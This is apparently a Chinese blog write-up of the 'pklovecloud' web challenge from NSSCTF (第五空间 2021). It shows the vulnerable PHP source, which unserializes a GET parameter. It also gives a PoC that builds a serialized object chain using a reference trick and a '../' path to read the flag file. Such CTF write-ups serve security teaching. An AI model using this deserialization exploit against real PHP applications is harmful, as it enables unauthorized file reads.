NSSCTF[第五空间 2021]pklovecloud_WP

NSSCTF[第五空间 2021]pklovecloud_WP

比赛源码

<?php 

include 'flag.php';

class pkshow 

{ 

  function echo_name()   

  {     

​    return "Pk very safe^.^";   

  } 

} 

 

class acp 

{  

  protected $cinder;                   //保护变量记得加url编码

  public $neutron;                     //用引用($neutron=&$ova)使二者相等

  public $nova;

  function __construct()                 //以后需要在私有和保护变量中赋值一个对象,可以用

  {                                      __construct()魔术方法来赋值

​    $this->cinder = new pkshow;

  } 

  function __toString()                 //触发__tostring()在下方传参时会用到echo函数导致触发

  {     

​    if (isset($this->cinder)) 

​      return $this->cinder->echo_name();                 2//cider=new ace();

  } 

} 

 

class ace

{  

  public $filename;   

  public $openstack;

  public $docker; 

  function echo_name()   

  {  

​    $this->openstack = unserialize($this->docker);            1//docker=null;  

​    $this->openstack->neutron = $heat;     

​    if($this->openstack->neutron === $this->openstack->nova)       1//openstack=new acp();

​    {

​    $file = "./{$this->filename}";

​      if (file_get_contents($file))     

​      {       

​        return file_get_contents($file);           1//file=flag.php

​      } 

​      else 

​      { 

​        return "keystone lost~"; 

​      }  

​    }

  } 

} 

 

if (isset($_GET['pks'])) 

{

  $logData = unserialize($_GET['pks']);

  echo $logData;                   //触发__tostring()函数

} 

else 

{ 

  highlight_file(__file__); 

}

?>

-----------------------------------------------------------------------------------------------------------------------

POC:

<?php

 

class acp

{

  protected $cinder;

  public $neutron;

  public $nova;

  function __construct()

  {

​    $this -> cinder =new ace();

  }

}

 

class ace

{

  public $filename="../nssctfasdasdflag";

  public $openstack;

  public $docker=null;

 

}

$a=new acp();

$a->nova=&$a->neutron;

$e=new ace();

$e->openstack=$e;

echo urlencode(serialize($a));

Filename=flag,网页输出的结果(在源码里)给了提示。

在这里插入图片描述

提示flag在nssctfasdasdflag中,于是更改filename。网页显示:

在这里插入图片描述

导致这个原因是在下面这个判断语句:

在这里插入图片描述

说明nssctfasdasdflag这个文件不存在此目录,于是猜测在上一个目录,更改pocFilename=…/nssctfasdasdflag。成功回显flag。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值